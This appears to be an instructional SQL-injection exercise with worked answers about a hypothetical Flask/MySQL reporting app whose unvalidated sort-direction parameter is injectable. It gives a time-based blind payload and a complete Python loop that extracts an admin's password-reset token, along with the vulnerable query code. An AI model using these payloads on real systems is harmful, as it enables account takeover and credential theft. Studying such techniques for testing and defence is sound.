Ledger Lite: Sorting Out a Blind ORDER BY
Ledger Lite is a Flask 2.2 reporting service on MySQL 8.0. The DB account rpt holds SELECT on every table in the schema, including users (username, password_hash, reset_token). Exactly one pair of user-controlled values reaches SQL:
col = request.args.get("sort", "created_at")
if not re.fullmatch(r"[a-z_]{1,20}", col): abort(400)
direction = request.args.get("dir", "desc")
q = f"SELECT id, memo, amount FROM ledger ORDER BY {col} {direction} LIMIT 50"
rows = db.session.execute(text(q)).fetchall()
dir is never validated. The handler wraps the query in try/except and returns HTTP 200 with {"error":"internal"} for any database exception, so failures carry no detail and no stack trace. MySQL runs with max_execution_time=30000. The ledger table holds about 4,200 rows per tenant, and every successful response body is JSON of at most 50 rows.
1. Assess the input handling. What exactly can `dir` inject, and which classic techniques are ruled out by this code and configuration?
Read the worked answer
sort is sound, dir is not.
re.fullmatch(r"[a-z_]{1,20}", col)is anchored and charset-restricted, sosortcannot carry SQL. Note it is fullmatch, notmatch- amatchwithout$would have letcreated_at,(select 1)through.diris interpolated raw, inside theORDER BYclause and beforeLIMIT 50.
What the position allows. ORDER BY takes a comma-separated list of arbitrary expressions, so the following are legal:
desc,(SELECT IF(pred, SLEEP(2), 0) FROM users WHERE username='admin')
Subquery expressions, IF(), CASE, functions and casts are all fair game. The injected text also cannot escape the statement: LIMIT 50 already terminates it, and we cannot legally append a clause before it.
Ruled out:
- UNION - a set operator between SELECTs, not an expression; it cannot appear inside
ORDER BY, and insertingLIMIT 1 UNION SELECT ...before the trailingLIMIT 50is a syntax error becauseORDER BY/LIMITmust bind to the whole union. - Stacked queries - the driver executes one statement per call (no
MULTI_STATEMENTS), andrpthas SELECT only, so there is nothing to stack. - Error-based extraction - every DB exception is converted to a 200 with a constant body; the error text never leaves the process.
- Content-based boolean - we control ordering, not the
WHEREclause, so the same 50 rows always come back. - Sort-order boolean - usable only when
created_athas ties; too fragile to build an extractor on.
That leaves time, and the payload must be shaped so the delay is bounded well under the 30 s kill.
2. Design a data-exfiltration oracle for `users.reset_token` that survives the 30-second cap and the generic-200 error handler. Explain the MySQL behaviour that makes or breaks the payload.
Read the worked answer
Oracle: a SLEEP gated by a predicate over the token, driven through dir:
dir=desc,(SELECT IF(ASCII(SUBSTR(reset_token,1,1))>77, SLEEP(2), 0)
FROM users WHERE username='admin')
True → ~2 s wall clock; false → the query is still fast, ~50 ms.
The behaviour that decides whether this works: the subquery must stay uncorrelated. MySQL evaluates an uncorrelated scalar subquery once and caches the result, so the ORDER BY sort key is a constant and SLEEP(2) fires exactly once. If you correlate it - anything referencing the outer row, e.g. AND ledger.id > 0 or IF(ledger.amount > 0, ...) - the subquery is re-evaluated once per sorted row, up to 50 times: 50 × 2 s = 100 s, which trips max_execution_time=30000, kills the statement, and looks exactly like a false answer (or a client timeout). That silent collapse is the trap.
Two supporting details:
SLEEP()returns 0 in both branches, so the sort key is constant and the result set is byte-identical on true and false. Only latency differs - which is fine, since the body must not change.- Keep the delay at 1–2 s so a slow-but-true response (say 3 s under load) is still far below 30 s and easily separated from the ~50 ms baseline.
Payload is sent URL-encoded in dir; sort stays created_at so the regex never blocks the request.
3. Write the extraction loop. Cover requests per character, timing baseline, and how you avoid being fooled by the 30-second kill.
Read the worked answer
import time, requests
URL = "http://ledger.lite/reports"
BASE = {"sort": "created_at"}
def probe(pred):
p = BASE | {"dir": "desc,(SELECT IF((%s),SLEEP(2),0) FROM users WHERE username='admin')" % pred}
t0 = time.perf_counter()
try:
requests.get(URL, params=p, timeout=25)
except requests.Timeout:
return None # 30s kill / network -> retry, never 'true'
return time.perf_counter() - t0
def oracle(pred, fast, slow):
for _ in range(3):
dt = probe(pred)
if dt is None or dt >= slow: # killed or ambiguous
continue
return dt >= fast
raise RuntimeError("unstable oracle: check subquery correlation")
# calibration: one known-false and one known-true predicate, 3 samples each
t_false = sorted(probe("0") for _ in range(3))[1]
t_true = sorted(probe("1") for _ in range(3))[1]
fast, slow = t_false + (t_true - t_false) / 2, t_false + 10.0
- Cheat on the length first:
SELECT LENGTH(reset_token) FROM users WHERE username='admin'- one 7-request binary search instead of scanning to a fixed offset. - Requests per character: binary search over ASCII 32–126, 7 probes per character; 32 characters ≈ 224 requests ≈ 8 minutes at 2 s per true bit.
- Baseline, not a constant: server load changes the fast path; measure
t_falsein the same run and derive the threshold, rather than hardcoding 1.0 s. - Kill detection: a
requests.Timeoutor a ~25–30 s response is not a true. It means the subquery got correlated (or the query engine is busy); retry, and if it repeats, stop and re-testIF(0,SLEEP(2),0)to confirm the oracle shape. - Sanity tripwire: if a character comes back as 0 or the whole token is non-hex while the app only issues 32-char hex tokens, the oracle is inverted - flip the comparison and re-run a single byte against a known prefix.